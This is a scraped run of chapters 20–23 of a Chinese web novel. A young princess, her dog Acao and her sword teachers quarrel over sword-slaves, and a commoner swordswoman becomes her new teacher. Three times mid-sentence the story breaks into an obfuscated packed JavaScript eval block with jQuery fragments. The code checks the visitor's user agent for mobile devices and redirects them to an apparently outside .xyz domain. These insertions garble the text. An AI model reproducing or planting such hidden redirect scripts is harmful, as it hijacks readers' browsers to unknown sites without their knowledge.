然后他们回去继续玩全息游戏,直到凄辞暮累得睁不开眼睛:“回去睡觉了,阿草。”
临走前,阿草忍不住向深坑中看。
只有一片黑暗。
20. 工伤
凄辞暮睡了四个小时,神采奕奕地起床上剑术早课。
十三岁之前,她和启蒙老师学了六年基本功,今年才拥有第一个剑术老师。
从去年开始,内廷、大臣和亲眷们开始为老师的人选明争暗斗。首先是老师的出身,内廷和亲眷认为只能是老牌贵族,大臣们倾向于年轻些的平民;其次是剑术流派,不少人赞成直接从万化十八剑仙中挑,甚至有人建议十八个教一个,然后被女皇一票否决。
这些人摸不准女皇冕下的想法,干脆放弃修真维度,转向魔法维度。经过多方的博弈,最后部分大臣和亲眷们联手,推举珈蓝维度的阿曼达.提尔雷普,一位势头正盛的年轻圣剑士。
这位圣剑士背着大剑骑着身披郁金香的白马出现在凄辞暮面前,她利索地翻身下马,单膝跪地,牵起公主殿下的手,行了一个标准的吻手礼。
凄辞暮很高兴,大臣们勉强满意,亲眷和内廷开心得不行,总体来说是个好结果。
凄辞暮没想到,她很快高兴不起来了。
“殿下,请把陪练想象成真实的敌人。”阿曼达握住她的肩膀,“直接砍下去,一刀见血,迈出成为剑士的第一步。”
“他们只是陪练,又不是真的敌人,我为什么要砍他们?”凄辞暮一头雾水,“他们也不叫陪练,后排从左数第二个人连剑都能拿错。和我水平一致的人叫陪练,他们不是,我砍他属于胜之不武。”
阿曼达眯起眼睛向后排看,被凄辞暮点名的陪练立刻打起哆嗦,抖着手调整拿剑方式。越紧张越出错,他左手打右手,剑咣当一声砸在脚上。
耳边响起呛啷的拔剑声,凄辞暮面色一变:“你要做什么?”
已经晚了,阿曼达的剑气扫过去,陪练的手被齐根砍断,鲜血洒了一地。他极力忍痛,上下两排牙齿咬出咯吱声,颤抖着身体躬身行礼,面朝阿曼达的方向倒退着离开了。
“你为什么砍他?”凄辞暮震惊,“这些陪练到底是什么人,不是你的学生吗?”
“殿下,他们是剑奴,不是我的学生。砍他是为了帮他,否则他永远记不住正确的握剑方式。在战场上,剑掉下来的那一刻他就死了。”
凄辞暮气笑了:“哦?如果有一天我练习剑术的姿势不对,你是不是也要砍我?”
金发绿眼的圣剑士直直注视着公主殿下的眼睛,仿佛没听出公主话中的讽刺意味,她说:“您和他们怎么能一样呢?”
凄辞暮冷眼观察这位新老师,年轻的圣剑士,阿曼达的年轻,是和其他出名的圣剑士相比较为年轻。实际上她今年三十二岁,正直壮年,身高接近两米,全身裹在精钢铠甲中,铠甲上繁复的郁金香暗纹是她的家徽。
“殿下。”阿曼达轻轻唤了一声,她单膝跪下,大剑在青石地面拖出星火,她的剑奴们也跪成一片。
强壮的圣剑士单膝跪着都比十三岁的凄辞暮高,她尽量平视自己的新学生,语重心长地说:“我早已听说殿下在剑道上的天赋,也听说过殿下的慈悲之心,但剑士不应该有太多的慈悲,对我们来说,生与死就在一瞬间。您的母皇当初亲征远域兽人维度,她的刀淬满血,才换来全面的胜利。”
“女皇冕下教导我们尊卑有序,这些剑奴,”她用大剑指了指跪在地上的人,“能成为陪练是他们的荣誉,正因为您有练剑的需求,他们卑微的生命才有意义,剑奴们都很感激您,愿意被您的剑锋划破喉咙。未来的某一天,当您站在远域战场上,用同样的剑法刺破敌将的咽喉,他们的生命将被升华,这是他们应得的荣誉。”
最后,她说:“花朵长有尖刺,若不敢让尖刺见红,最终只会扎穿自己的掌心。”
一番话说的极其漂亮,剑奴们匍匐在地面强忍激动的泪水,有人大哭着表忠心:“殿下!慈悲的殿下!我拿起剑只是为了成为剑术的耗材,像我的父母祖辈一样,为主人成就无上的剑术!”
太好笑了,太荒谬了。训练场被慷慨激昂的情绪填满,剑奴们争先恐后展示自己的忠诚。凄辞暮仿佛一个置身事外的游客,冷漠地看着一场闹剧。
一朵没有刺的郁金香竟然试图教她怎么让尖刺染血,就像食草的羚羊跑到午睡的狮子旁咩咩叫,说你要多多捕猎呀,快用爪子撕裂兔子的喉咙。
阿曼达这样的人,她见过很多。他们从很小的时候就意识到自己位于最高的阶级,拥有处置别人的权力。他们有很强的权力感和配得感,觉得除了同一阶级的人,其他人全是工具,而自己理应享受特权。
他们从不觉得自己的想法不对,被规训的奴隶们也不觉得不对,阿曼达甚至能把这套东西装扮得花团锦簇,说得慷慨激昂,像是没有剑奴她就没法练剑一样。
凄辞暮有点体会到父亲在怕什么,她现在也害怕,怕自己成为阿曼达一样的人。或许在别人眼里,她和阿曼达没什么区别。比如昨晚阿草要求放根绳子进深坑,她说即使有人也爬不上来,阿草是不是像她看阿曼达一样看待她呢?
“你只能教我这种练剑方法吗?”凄辞暮问。
阿曼达坦然注视她的眼睛。
下一秒,凄辞暮的剑出鞘了,她只有六年的基本功,但足够她做一件事——狠狠砍断一名剑奴的剑。
“咔!”
少年剑士不会剑术,没有技巧,只有一身蛮力,剑被拦腰砍断,剑奴的虎口渗出血。
“既然不想拿剑,就不要拿剑,我不需要剑奴。”她说,“我的剑术不需要拿人命堆彻。”
然后她转身离去。
晚上,凄辞暮蹲在秘密基地,抱着阿草说白天的事:“……就是这样,后来丹玛斯来了,说阿曼达用心良苦,只是太心急,教学方式也不对,让我回去跟老师和好。”
“你回去了吗?”
“我说可以回去上课,但我要换老师。”凄辞暮像苍蝇一样迅速搓手,搓出静电后按在阿草屎黄色的头毛上,满意地看到头毛被静电吸得竖直立起来。
“对,把她换掉!”阿草喊。
“换不掉。”凄辞暮叹气,“所有人轮番上阵阻止我,连丹玛斯都在说教,说皇储最忌讳流露出自己的喜恶。”
阿草都听懵了,他实在想不通,公主殿下堂堂皇储,怎么连换个老师的愿望都无法被满足。
“最后折中一下,阿曼达继续做我的剑术老师,剑奴都撤掉,但阿曼达会给我找个同龄人陪练。”
“同龄人?”阿草很敏感,捕捉到关键词。
“她是这么说的,说新陪练是优秀的剑士,和我一个年纪,有共同话题,希望我们能成为朋友。”
阿草不信:“真的假的?她的话能当真?”
“……结果新陪练是她弟弟。”凄辞暮咣当一声把自己扔在地毯上,痛苦地把头扎进抱枕里。
尼尔.提尔雷普,圣
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14996624|160626||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
剑士阿曼达的亲弟弟,今年十三岁,大部分时间住在黄金城,是晓晓的同学,积极参与所有能见到公主殿下的皇室活动,把在公主面前刷脸当做主业。
简称皇夫学员,未来的皇夫预备役。
“丹玛斯不告状吗?”阿草奇道,他伸出爪子扒拉零食筐。自从他昨天晚上说过饿,凄辞暮就给他拿来一堆零食。
公主在这个年纪不应该掉入情感陷阱,否则就算尼尔长大后做不成皇夫,也占着个青梅竹马的名头。
“没有,老吸血鬼什么都没说。”
阿草的狗脸上挤出一个神神秘秘的表情,看起来宛如便秘,他压低声音:“这个提尔雷普家族是不是很有钱?”
“肯定有钱,提尔雷普是珈蓝维度最大的贵族,靠魔药发家,占据了全宇宙五分之一的中低端魔药市场,他们的梦想是把高端市场一起占领。”
“老吸血鬼是不是接受贿赂了,比如收了钱,把提尔雷普的魔药加上皇室特供四字前缀?”
“不会。”凄辞暮想都没想,立刻否认,“丹玛斯的忠诚毋庸置疑,而且内廷总管没有这种权力。”
她说:“猜不透丹玛斯在想什么,反正明天你必须和我一起去上课。”
“我能做什么?叼着剑追他吗?”
“你去帮我表达厌恶。”
阿草埋头啃热狗的动作停下了,他伸出舌头舔掉嘴边的蜂蜜芥末酱,邪恶地歪嘴一笑。
凄辞暮看到他的笑容,瞬间期待明天的到来。然后她单手按住狗头,面无表情地说:“你又用我的袍子擦嘴。”
“你也用我头毛擦手,咱们扯平了!”
第二天,凄辞暮连窝带狗一起端到训练场,场地冷冷清清的,只有阿曼达、她和阿草。
尼尔呢?凄辞暮和阿草都很茫然。
阿曼达看到狗,竟然不生气,只是说:“殿下真有童心。”
她们中规中矩地学习剑术,课程进行到一半,一道声音从外面传来:“殿下,我来晚了!”
阿草抽动两下鼻子,从珊瑚绒做的窝中站起身,尼尔抱着一大捧郁金香走进来,身后跟着一只柴犬和一只布偶猫。
“介绍一下,这是我弟弟——”
“姐姐!”尼尔打断阿曼达,“殿下认识我,对吧,殿下?”
当然认识,凄辞暮不着痕迹地向后退一步,你在晓晓举行的宴会上故意往我身上撞,没撞到我,你自己先摔一跤。
她说:“认识,晓晓的同学。”
一句认识就让尼尔快乐得不行,铂金色的小卷毛在头顶一颤一颤地抖,像是垂落的郁金香。
“汪汪汪!”阿草从窝里冲下来狂叫。
尼尔惊喜极了:“殿下的狗好喜欢我,是叫阿草吧?我也养了一猫一狗,今天都带来了!”
“呼—呼—呼”阿草从喉咙深处发出低沉的威胁声。
尼尔的笑容僵住了。
“他不是喜欢你,他讨厌你。”凄辞暮终于接话,“没有办法,他最讨厌泰迪和比熊。”
尼尔头上的小卷毛完全塌下来。
“汪嗷!”尼尔带来的柴犬不乐意了,它从斜侧方冲出来,两只前爪抓地,后爪离地起飞,用大屁/股兜头盖脸给阿草一个大逼斗。
阿草被甩飞到空中,眼神和凄辞暮对上了。
凄辞暮读懂了他的眼神:殿下,这算工伤吗?
21. 付微尘
“汪汪汪汪——”阿草怒了。
阿草当流浪狗的时候就是狗届一霸,只有他打别的狗,根本没有挨打的可能性。他被柴犬一屁/股甩出真火气,在地上打滚翻身,向珊瑚绒狗窝冲过去。
凄辞暮没看懂他要做什么,临阵脱逃吗?
只见阿草一个往返跑,叼着狗窝向布偶猫冲去,猫炸着毛身体弯曲成几字型,阿草把珊瑚绒往猫身上一盖,猫奇迹般平和下来,开始卖力地舔珊瑚绒上的毛毛。
厉害呀,凄辞暮在心里夸赞,不愧是阿草,直接封印对方一员大将。
“汪嗷汪嗷!”
紧接着,阿草一声不吭地压低身体,向狂叫的柴犬冲过去,直接钻进柴犬的肚皮下!
他用力托起柴犬肥胖的大屁/股,开启死亡螺旋加速大回转,可怜的柴犬踮着两只前爪,根本跟不上他的速度。阿草越转越快,任凭柴犬狂叫也不减慢速度,转到不能更快的时候,他一个矮身,柴犬一下子被惯性甩飞出去。
“咚!”柴犬撞在树上。
“噗。”凄辞暮憋不住笑出声,她整理表情,对尼尔说:“你有这么高速运转的柴犬进入黄金城。”
尼尔狼狈地干笑,赶紧让仆人把晕头转向的柴犬抱走了。
当天晚上,凄辞暮和阿草一起趴在秘密基地的地毯上大笑:“哈哈哈哈你没看见尼尔的表情,就好像你转的不是柴犬,而是把他托起来转晕了一样!”
阿草站直挺起胸膛:“我厉害吧?”
“厉害,厉害。”凄辞暮把他抱起来,用他的毛擦拭笑出来的眼泪。
“我从来没见你这么开心过。”阿草忽然说。
凄辞暮愣了一下:“有过很开心的时候,但没这么笑过。”
阿草把头枕在她腿上,若有所思地看着她。
实际上,阿草越和凄辞暮相处,越觉得她可怜。她生在皇室,长在权力的中心,却偏偏拥有一副这样的心肠。如果她和阿曼达一个样子,她可能不会这么矛盾、这么痛苦,但她似乎天生就是善良慈悲的,她极其善于共情,共情那些和她不是一个阶层的人。
一般来说,共情能力过强的人总是在无关自己的事情中投入过多的情绪,这种人像无根的浮萍,软弱又空虚。但凄辞暮不是,她拥有无限的精力和坚定的目标,阿草目前看不清目标是什么,他希望她的目标中有自己的一席之地。
买阿草之前,她在整个黄金城都没有真正的朋友,更不可能像普通人一样,出门社交认识新朋友。她的每一句话、每一个动作在别人眼里都带有目的性,她自己也习惯性带有目的。比如邀请晓晓来宫里玩,实际上是让晓晓回去传播“公主新养了一条小狗”的消息。
晓晓是真的管不住嘴什么都向外说吗?阿草不觉得,凄辞暮需要有人做她在闲杂琐碎小事上的喉舌,就像今天需要阿草帮她表达厌恶,晓晓欣然接受这份任务,同时靠完成任务拉近和未来女皇的感情,这是她们心照不宣的交易。
她小的时候靠“交易”完成小事,长大后会用同样的手段和大臣们博弈,立法、收税、工程、军款……太多太多事情等她探索。
阿草烦躁地啃咬腕关节,他觉得好累,如果让他过这样的日子,不如回去流浪,过着饥一顿饱一顿的生活。
“普天之下莫非王土,率土之滨莫非王臣”是黄金王朝最喜欢的恢弘叙事,但王朝的公主在黄金铸成的宫殿中却没有一点安全感,甚至从没开怀大笑过。她像一只皮毛华美的幼兽,怀抱一颗柔软善良的心,抵御所有带有目的性的人。
然后她不得不去算计、去说一些话中有话的语言、去衡量一个人对自己是否有用,而不是单纯的“我只是觉得人不该被关在狗笼子里”。
最后呢?阿草想,她会让那些人如愿以偿吗?她会变得和阿曼达一样吗?
“阿草。”
阿草根本没听见,他出神地望着公主殿下,想象她长大的样子。
“阿草!你怎么走神了,我刚才说的话你听见了吗?”
“啊?”阿草猛然回神,“抱歉,没听见。”
“我说我想要新的剑术老师,人已经选好了。”
终端机被放在阿草面前,鲜红的热搜置顶在最上面,后面还跟着一个小小的“爆”字:付微尘打败剑仙轩辕当空!
“付微尘?”
“你知道她呀?”凄辞暮有些惊讶,“只有我不知道吗?可我最近一年都在偷偷上网。”
“唔。”阿草闷闷地唔了一声,搜肠刮肚地寻找措辞,“三年前她退网了,你不知道她很正常。她最早成名全靠黑红,类似于谐星,我以前……在戏班子工作过,我的同事很擅长模仿她,靠夸张的模仿得到过很多打赏。”
“啊?”凄辞暮顿感不妙,她打开搜索栏,输入付微尘三个字,按照时间倒序查找,付微尘最早的黑历史立刻出现在她面前。
那是一个制作相当拙劣短视频,三十岁的付微尘面对镜头喊:“家人们,我们今天去挑战飞羽门的掌门!你们说我能不能赢?”
屏幕上方飘过一串弹幕:
【能赢!快用你那定场诗尬死他!】
【乖,回去打工吧,剑那玩意儿是你能练明白的吗?】
【都三十了,老大不小的,你不嫌丢人我嫌丢人,我们维度怎么出了个你这样的货?】
镜头一切,矮胖的付微尘笑着站在飞羽门前,摆出一个自以为很帅的姿势,抑扬顿挫地念:“铁剑悬星三十春,独向天阶叩朱门。十八玉京无寒士,一身霜雪赴微尘。”
【别念了别念了师父别念了。】
【我脚指头能扣出一座万化仙宗,你要不赔我点精神损失费吧。】
【号是起了,家人怎么办呢?】
【好湿好湿,希望你一会挨揍后能再念一遍。】
凄辞暮也很尴尬,手指头偷偷扣紧阿草的头毛,她一直有替人尴尬的毛病。付微尘顶着绝世出尘的名字,身材却矮胖敦实,长得更是一言难尽,还非要惺惺作态学人家十八剑仙念定场诗。
她强忍尴尬继续看,期望后面有反转。
“呀啊啊啊啊——吃我一剑!”
然后付微尘被一道剑气砍出山门,紧接着就是广告,丝滑到让人来不及关闭视频。
“付微尘死了!付微尘死了!”
“别急!我这里有十全大补丹!”
一颗三无小药丸下肚,装死的付微尘双目冒出精光,鲤鱼般跳起来,又念一遍定场诗。
凄辞暮按住暂停键:“她身上的伤口是真的,不是化妆也不是特效,她真的去挑战飞羽门掌门了
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14996625|160626||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。”
“啊?”这回换成阿草疑惑了,“不是摆拍吗?你能不能把手松开,我头皮好紧。”
凄辞暮尴尬地松手,从付微尘第一次念诗开始,她就扣住阿草的头毛没松开过。
尴尬是尴尬,但付微尘的视频好像有某种魔力,吸引她和阿草一个又一个看下去。
矮胖的女剑客不断向有名的剑士发起挑战,从飞羽门掌门到剑仙的徒弟,她有输有赢,有时候比试过程也被录进来,凄辞暮评价:“她是有实力的。”
付微尘接的广告也从十全大补丸变成上百万一艘的小飞船,她在视频中的人设一如既往的搞笑,但弹幕渐渐变了。
【付姐姐,我是你粉丝!】
【诚心请教,姐姐几岁开始学剑?需要多少启动资金?我也想学,但家境普通。】
【你去做视频呀,她不就是靠视频赚钱学剑吗?】
【人家剑仙都是六岁启蒙,你现在才学?黄花菜都凉了!】
【付姐姐十六岁学剑,她直播时说过,她还说几岁学都不晚。】
最后一个视频里,付微尘打败剑仙的徒弟,带着一身伤,面对镜头说:“家人们,万化仙宗聘我去做客座长老,以后不能更新了,咱们有缘再见吧!”
最后一次更新是三年前,距离第一个视频隔了整整十年,凄辞暮揉了揉酸痛的眼睛,宣布:“我的剑术老师就是她了。”
阿草忽然拿爪子推她:“更新了!她更新了!”
凄辞暮眨了眨眼睛,下拉刷新菜单,最顶部果然出现新视频:打败剑仙的我能成为下一个剑仙吗?
“铁剑悬星四十春……”凄辞暮喃喃道。
16岁开始学剑,14年的苦修,30岁顶着骂声赚钱继续学,然后坚持10年,40岁成才,43岁得道成剑仙。
没错,就算万化仙宗不认付微尘做剑仙,凄辞暮也觉得她是剑仙。
凄辞暮做出决定:“我要发一条评论。”
阿草扬起毛茸茸的脑袋,静静看着她。
“但不能在这里发。”她说,“阿草,把你没吃完的东西收拾一下,我们回宫,短时间内没法来秘密基地了。”
“好。”
第二天,新的热搜置顶在最上方:公主殿下深夜评论付微尘(爆)
【你好,我是凄辞暮,你愿意做我的剑术老师吗?】
通天塔门口。
“殿下,女皇冕下召见您。”
凄辞暮没有说话,默默跟在丹玛斯身后来到塔顶。
“你怎么来了?”女皇对她的到来很诧异。
“冕下,是您召见的公主……”
“那件事呀。”女皇似乎才想起来,她挥了挥手,“去偏殿等我,我要接见万化来的人。”
凄辞暮坐在偏殿,主殿的声音听得一清二楚。
“万化仙宗掌门卫圣婴觐见女皇冕下!”
“卫圣婴。”女皇离地三尺悬浮在露台上空,圣冠在她的脸上打下一片阴影,“你知道我把你喊来是为了什么事吗?”
“为了客座长老付微尘位列十八剑仙一事?”
“不。”女皇金色的眼睛被阳光照得像锆石,“为了在817γ-6S维度开立修真综合学院的事情。”
“校长是付微尘。”
22. 新老师
“蒙冕下垂青!”卫圣婴躬身道谢,“万化仙宗的执事长老与内门弟子愿为陛下分忧,不如让各峰轮流遣派掌经使入驻学院做——”
“然后把新修真学院也冠上你们万化的名字吗?”女皇直接打断卫圣婴,“多年以前,宇宙内出名的修真维度不止一个万化,最早的时候,万化维度不叫万化,是你们万化仙宗靠虹吸效应把成熟人才全部采摘走,然后倒逼维度改名。”
卫圣婴的身体僵硬片刻,拱手说:“冕下,并非万化仙宗倒逼维度改名,是我们的十八剑仙名声太旺,人们提起剑仙就想起万化,提起万化就想起剑仙,久而久之,维度也叫万化了。”
“十八剑仙?”女皇诵起付微尘的定场诗,“铁剑悬星四十春,独向天阶叩朱门。十八玉京无寒士,一身霜雪赴微尘。你不知道这首诗传得多广吗?”
“无寒士”三个字被女皇咬得很重,十八剑仙多年以来全部出自万化仙宗。修真维度没有贵族一说,但所有人都知道,他们就是修真维度的贵族。
卫圣婴赶紧低头:“是我考虑不周,付微尘将位列十八剑仙之一。”
女皇没有回应,卫圣婴诚恳道:“冕下,请您看在万化先祖曾追随您远征的份上,给门内弟子一次执教机会。在和平年代,剑修不像丹修符修能炼丹制符,所谓的十八剑仙只是借着名头赚些钱养家糊口,都是些虚名。”
“虚名?付微尘的名声不够大吗?三年前不能位列剑仙吗?”
“付长老……”卫圣婴拖长声音,“名声很大。”
但不是什么好名声,大部分人把她当成谐星。
女皇奇道:“你们十八剑仙是按照名头排的,还是按实力排的?”
“三年前,付长老实力不足,勉强打败轩辕当空的弟子。”
“我怎么听说付微尘挑战轩辕当空,轩辕当空为了不应战假装闭关,他徒弟硬着头皮出来代劳?”女皇开始翻旧账,“还有另外一位剑仙,姓顾的那个,她说自己修无情道,怕在比试中进入无情无感状态失手杀人,三年间无数次拒战。”
女皇问:“其他剑仙不应战的借口是什么来着?你帮我回忆一下。”
“轩辕剑仙出关后已于昨日应战,万化仙宗明日便开剑冢迎接付长老。”卫圣婴再次拱手行礼,潜台词是皮球踢到最后有倒霉蛋接住了,您就别再问了。
“弹簧越用力按压,松手后跳得越高。”女皇叹息,“你把修真的门槛订得越高,你看不起的草芥之命越想学。”
“付微尘的底色是好的,她成才后最先想的不过是扬眉吐气当剑仙,然后开办学校让和她一样的人有地方修真,可是那些底色不好的人呢?”
冷汗从卫圣婴的额角冒出来。
“我不想再听见什么邪剑仙叛逃,屠杀农业维度的事了。把你们维度的剑修都看好了,你看不好我会找人接替你,新修真学院的事别插手,去吧。”
卫圣婴不敢接话,躬身行礼,灰溜溜地走了。
凄辞暮躲在偏殿听得心神荡漾,她从来不知道自己的母皇还有这样一面。母皇在她眼中永远是少言寡语且懒洋洋的,没有过今天的威严。
她想起父亲的叮嘱,储适新说,你的母皇迟早会站在你的对立面。她想:那不可能,就算母皇的所作所为是为了制衡贵族和平民,她的出发点也是为了和平,为了那些手无寸铁之人。
凄辞暮以为自己很快会被召见,女皇却召见了另外一个人:“都听见了吧,付微尘。”
付微尘默默行礼。
女皇的声音听上去很疲惫:“你想要的,我给你了;你承诺的,记得做好。”
“是。”
凄辞暮急死了,恨不得从偏厅窜出去抓着母皇问,问问她们做了什么交易。
“对了。”女皇说,“还有一件事。”
凄辞暮的心快要跳出来。
“公主想让你做她的老师,你随便教一下吧。不知道她在想什么,剑术这东西又不是学出来的。”
“幸不辱命。”付微尘郑重地说。
女皇摆摆手,转身飞入内殿,钴蓝色长袍在她身后翻涌,日月纹耀眼到吞噬白昼。通天塔的露台安静下来,偏殿中的凄辞暮屏息凝神,把耳朵贴在墙上仔细听。
没有声音,付微尘走了?她小心翼翼地从偏殿飘出来,把身体藏在门后,只探出一个脑袋。
“哇!”付微尘猛地从她身后蹦出来,她面无表情地回视。
“没吓到您呀,殿下。”付微尘似乎很遗憾。
凄辞暮好半天才憋出一句话:“你可以……可以给我签个名吗?”
“啊?”付微尘呆住了。
当天晚上,秘密基地。
“就是这样!”凄辞暮把阿草举得高高的,“付微尘成了我的老师,可惜她只教一个多小时就走了,说是赶去开会,筹办新学校。”
秘密基地是凄辞暮比着自己身高挖的,比她高不了多少,阿草被举高后差点撞到狗头,他大叫:“把我放下!我要欣赏签名!”
深坑里响起回音:“签名——签名——名”
“嘘,你小声点!”
阿草如愿被放到地上。
“付微尘走的时候和赶来上课的阿曼达撞上了。”凄辞暮说。
阿草一脸茫然:“有了新的剑术老师,阿曼达怎么还来上课?”
“她是大臣们千辛万苦选出来的,不会轻易被撤职,我得想个办法。”凄辞暮陷入沉思。
像剑术老师这种职位,不犯大错不会被撤职。老师们通过多方运作才得到职位,代表的往往是背后某个势力,关系复杂到丹玛斯都不愿意插手。
实际上,很多老师虽然不再授课,但还挂着老师的虚职,甚至一些陪着导师来做助教的人出去后也敢自称“公主殿下的老师”,由此可见这个虚名能给他们带来多大的好处。
凄辞暮明白其中的利益纠葛,她之前对此毫不在意,可剑术老师不行,剑需要保持她心目中的纯洁。剑术是她从小到大最爱的一门课,是唯一一门能跑跑跳跳的课,不用被礼仪老师死死盯着,天天离地三尺悬浮在半空。
阿草卧在她怀里抬头看:“教的不好算老师的‘大错’吗?”
凄辞暮闻言低头看他,两个人的视线在半空中诡异地重合了。
.
周末,晓晓举办的晚宴上,阿草一路小跑到宴会厅中央,冲着凄辞暮摇了三下尾巴。
“好可爱的狗狗!是叫阿草吧?”
“阿草可聪明了,我那天陪殿下练剑,让太郎陪阿草玩,太郎被阿草狠狠揍了一顿!”
“你呢?你没被殿下揍一顿吗?”
“殿下怎么舍得揍我……”
凄辞暮没空搭理旁边拌嘴的尼尔和晓晓,她读懂了阿草的暗号:付微尘如约带着徒弟来了。
几天前,她主动问付微尘:“老师的新学校筹备得怎么样了?需要我帮忙吗?”<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14996626|160626||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
付微尘说:“都没有问题,有女皇冕下全力支持……”
凄辞暮耐心地等着“但是”两个字。
“……817γ-6S维度离黄金城很近,也方便我来回跑,请殿下不必替我担心,殿下年纪尚轻,专心学剑即可。”付微尘示范拔刀斩。
凄辞暮呆住了,“但是”呢?她只见过拐弯抹角请求她帮忙的人,没见过台阶递过去还不知道上的人,她不由得再次问:“真的不需要我吗?”
“殿下。”付微尘叹气,把刀收回鞘中。
她对凄辞暮的问题避而不答,认真讲课:“您真的很有天赋,基础也打得牢固。爆发力强不是您唯一的优点,经过几节课,我发现您很擅长寻找弱点,然后对准弱点猛攻。”
凄辞暮被夸得都有点不好意思了,然后她终于听到“但是”两个字。
“但是您对细节的处理不够清晰,剑45°刺出和50°刺出达到的效果完全不一样。剑是一种灵巧且苛刻的兵器,讲究平衡与精确,相比之下,刀更注重强度,所以刀比剑适合您。”
付微尘一脸认真,凄辞暮听沉默了,她无论如何也想不到,“但是”后面出现的是自己的缺点。这对她来说是个新奇的体验,第一次有人在“但是”后提出的不是请求,而是她的缺点和配套建议。
五秒后,她才接话:“好,我改练刀。我听老师的,反正刀剑不分家。”
于是她们认真练刀,练到两个人都大汗淋漓,付微尘感慨:“我的徒弟要是也有您这样的天赋就好了。”
凄辞暮心中一动:“老师有徒弟?”
“有四个,都不成器,最小的和您一个年纪。”
实际上,这正是凄辞暮的目的,她想找付微尘的徒弟在公开场合比试一场,直接输给对方,然后借助别人的口指责阿曼达,说阿曼达教的不好,最好能传到女皇耳朵里,把阿曼达的教职免掉,顺便把尼尔打包扔远点。
她问:“怎么不见老师带着徒弟来黄金城玩?周末有场晚宴,他们有兴趣参加吗?”
付微尘无奈地说:“我的徒弟恐怕会在您的晚宴上丢人,他们没见过大场合。”
“老师的新学校准备招收什么样的学生?”凄辞暮忽然问。
付微尘眼中出现向往的神色:“我想建一座真正的学校,所有人,不分种族、不分阶级、不分年龄地在一起学习,我希望愿意学习的人都来报考。”
一位理想主义者。
凄辞暮复杂地看着付微尘。
“我的梦想是打开上升的通道,因为我上升的通道曾被死死堵住。我知道世界上没有绝对的公平,但我想在我的学校里制造相对的公平。我想让每一个暗自努力的人都知道世界上有一个我,然后从学校里教导出更多的我。世界会越来越公平,直到奴隶也——”
付微尘的话突然顿住了,她苦笑:“殿下,我天生愚钝,您见笑了。”
“不,很高兴你愿意和我说这么多。”凄辞暮说,“那么我也直说了,我希望你的小徒弟能参加周末的晚宴,并和我比试一场,我会输给他,然后传播阿曼达当不好老师的流言,找机会把阿曼达免职。”
“晚宴上,我把你的徒弟介绍给所有人,并说明新学校的情况,让他们回到自己的维度好好宣传。我想你的新学校很容易吸引平民学生,贵族学生的生源我来帮你搞定,如何?”
付微尘谨慎地思考许久,摇头道:“请允许我拒绝。”
23. 新朋友
凄辞暮怔住了。
“我的小徒弟不是您的对手,殿下。”付微尘坦然说,“他也不是一个好演员,怕是一见到您紧张得连话都说不出来,而且……”
付微尘犹豫一下。
“我的话可能有些唐突。”中年女剑客不好意思地笑了,“我始终认为,不管是他还是您,都该在最好的年纪保持最纯净的剑心。”
日光明晃晃照在付微尘脸上,将她粗糙暗沉的脸照得无比清晰。当她站在公众面前时,没人能意识到她是位剑仙,只会以为她是个普通的中年女人。她可以是街边卖早餐的小摊贩,工厂里的老操作员,商场的保洁阿姨,唯独不能是剑仙。
付微尘越是普通,越是不起眼,越像代替冥冥之中的存在来讯问凄辞暮:你把阿曼达换掉的最初目的是什么?
保持剑在她心目中的纯洁。凄辞暮无声回答。
她差点亲手毁掉一切,用虚假的比试把剑变成庸俗的工具。
“你说的对。”凄辞暮重复,“老师,你说的对。”
付微尘摩挲着刀锷,似乎想说些什么补救一下,凄辞暮抢在她前面说:“但宴会还是要参加,你的新学校需要一个在贵族中的宣传者。”
“承蒙您关照。”付微尘叹气,“我会努力说服小徒弟的,他总得长大。”
“……说服?”凄辞暮一脸茫然,“参加宴会需要说服吗?”
时间很快来到周末的晚宴上,凄辞暮对这位小徒弟实在是太好奇了。她嘱咐晓晓把地点选在一个小宴会厅——不那么庄重,没有乱七八糟的礼节。
又让阿草提前蹲在门口守着,约定好暗号,人一到立刻通风报信。
于是,阿草摇完三下尾巴后,凄辞暮几乎是迫不及待地飞出去,看见她的老师孤零零站在门口。
她和付微尘大眼瞪小眼。
传说中的小徒弟呢?凄辞暮向付微尘身后看。
突然,黑色大理石地面上有东西动了动。
付微尘尴尬:“这孩子太激动,被新裤子绊了一跤。”
一个黑黑瘦瘦穿着一身黑礼服的男孩从地上爬起来,慌乱地行礼:“殿下,我叫任侠。”
“我就不进去了,里面是你们年轻人的聚会。”付微尘轻轻推了推任侠,“玩得开心,晚上师父来接你。”
付微尘的视线和凄辞暮撞上,凄辞暮轻轻点点头。
身后的宴会厅里,晓晓带着一群孩子吵吵闹闹地跑出来:“殿下!您怎么突然出去了?”
